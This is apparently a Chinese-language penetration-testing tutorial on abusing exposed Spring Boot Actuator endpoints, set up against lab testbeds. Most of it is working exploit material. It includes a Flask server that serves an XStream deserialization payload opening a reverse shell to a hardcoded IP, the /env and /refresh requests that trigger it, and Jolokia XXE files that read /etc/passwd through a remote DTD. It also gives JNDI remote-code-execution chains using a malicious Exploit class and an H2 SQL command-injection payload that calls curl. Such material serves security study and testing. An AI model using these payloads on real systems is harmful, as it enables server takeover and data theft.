0%

Spring Boot Actuator未授权访问

环境搭建

JDK 1.8 or later and Maven 3.2+

1
2
3
4
5
git clone https://github.com/veracode-research/actuator-testbed.git
cd actuator-testbed
mvn install
java -jar -Djava.rmi.server.hostname=0.0.0.0 ./target/actuator-testbed-0.1.0.jar
mvn spring-boot:run

访问localhost:8090即可

HikariCP RCE

1
2
3
4
git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git
cd spring-boot-actuator-h2-rce
mvn install
java -jar target/gs-spring-boot-docker-0.1.0.jar

localhost:8080

漏洞利用

Actuator是spring boot提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息。Actuator配置不当会导致未授权访问获取网站相关配置甚至RCE

所有端点皆可以在org.springframework.boot.actuate.endpoint中找到表达的含义,这里简单说几个常用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/beans: 查看上下文里全部的javabean

/env: 获取全部的环境属性,可以找到相关的网站数据配置的账号密码

/metrics: 获取报告各种应用程序度量信息

/trace: 提供基本的 HTTP 请求跟踪信息,可获取用户认证字段信息

/health: 报告程序健康指数,在其中可能找到git地址

/dump: 获取线程活动的快照

/heapdump: 获取JVM堆栈信息,经常可以从里面找到登录的账号密码之类的

/logger: 展示了应用中可配置的loggers列表和相关日志等级

/restart: 重启应用

.e.g

对于Spring 1x,它们在根URL下进行注册,并在2x版本中将此功能移动到“/actuator/”的路径下。

spring1.Xspring2.X的POST请求数据也存在区别,Spring1.x是通过application/x-www-form-urlencoded进行POST请求的,Spirng2.x是通过传递json包请求的application/json

0x01 eureka 服务漏洞

需要存在两个包

spring-boot-starter-actuator(/refresh刷新配置需要)
spring-cloud-starter-netflix-eureka-client(功能依赖)

Eureka-Client <1.8.7,Eureka服务多用于Netflix组件中,可通过在/env中搜寻Netflix关键字判断时候可能存在Eureka服务

Eureka服务属性被设置为恶意的外部 Eureka server URL 地址时,通过/refresh会触发目标机器请求远程URL,Eureka server URL可通过在/envPOST数据进行更改。

在服务器上搭建一个响应XStream payload的Web服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python
# coding: utf-8

from flask import Flask, Response

app = Flask(__name__)


@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/110.43.42.204/81 0>&1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')


if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)

POST数据设置远程URL

1
2
3
4
5
6
7
8
9
10
11
12
POST /env HTTP/1.1
Host: 192.168.126.140:9093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://vps:port/test

更新配置

1
2
3
4
5
6
7
8
9
10
11
12
POST /refresh HTTP/1.1
Host: 192.168.126.140:9093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2

aa

GETSHELL

0x02 jolokia 组件漏洞

XXE

判断是否存在jolokia插件:访问http://ip:port/jolokia/list是否

在vps上创建xxe攻击文件

logback.xml

1
2
3
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://192.168.126.146:8888/fileread.dtd">%remote;%int;]>
<a>&trick;</a>

fileread.dtd

1
2
<!ENTITY % d SYSTEM "file:///etc/passwd"> 
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

用python开启http服务

1
python -m SimpleHTTPServer 8080

payload:

1
http://192.168.126.140:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.126.146:8080!/logback.xml

JNDI RCE1

这个RCE是在XXE基础上,通过远程调用恶意的xml文件进行JDNI注入,所以在这里需要考虑一下java的版本信息

首先在vps上创建logback.xml文件

1
2
3
<configuration>
<insertFromJNDI env-entry-name="ldap://vps:1389/Exploit" as="appName" />
</configuration>

再创建恶意类Exploit.java,进行编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.io.*;

public class Exploit {

public static void main(String[] args) throws Exception {
Exploit.exec("cmd /c ping k3n0o0.dnslog.cn");
}
public static String exec(String command) throws Exception{
String returnValue = "";
BufferedInputStream inputStream = new BufferedInputStream(Runtime.getRuntime().exec(command).getInputStream());
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String lineStr = "";
while((lineStr = bufferedReader.readLine())!=null){
String sb = lineStr + "\n";
}
inputStream.close();
bufferedReader.close();
return returnValue;
}

}

把编译好的Exploit.classlogback.xml放在同一个目录下,然后开启一个http服务

python -m SimpleHTTPServer 8080

开启jdni或者rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vps:8080/#Exploit 1389

对漏洞url请求

http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps:8080!/logback.xml

JNDI RCE2

利用JNDI jar包,这种方法和RCE1使用原理是一样,只是把其中一些步骤结合在一个包中,修改在config.properties中command即可修改命令

下好jar包好,启动服务

1
java -jar JNDI-1.0-all.jar

把红框圈住的改为rmi://vps:23456/BypassByEL,然后改logback.xml

1
2
3
<configuration>
<insertFromJNDI env-entry-name="rmi://vps:23456/BypassByEL" as="appName" />
</configuration>

然后起服务,访问http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps:8080!/logback.xml就可以了

0x03 hikari 命令注入

原文作者这样说需要HikaraCP作为数据库引擎时通过SQL指令进行命令执行的漏洞。在SpringBoot2中默认开启

payload:

插入存在命令执行的SQL语句

1
2
3
4
5
POST /actuator/env HTTP/1.1
Content-Type: application/json


{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('curl http://2clfp3.dnslog.cn');"}

重启服务

dnslog平台

Reference

https://www.secshi.com/21506.html

https://www.angelwhu.com/paper/2019/03/08/spring-agent-attack-mode-analysis-record/#2-%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F%E4%BA%8C-%E2%80%93-%E9%80%9A%E8%BF%87jolokia%E7%BB%84%E4%BB%B6XXE-RCE

https://www.imzzj.com/post-690.html

https://forum.90sec.com/t/topic/644

https://www.freebuf.com/column/234719.html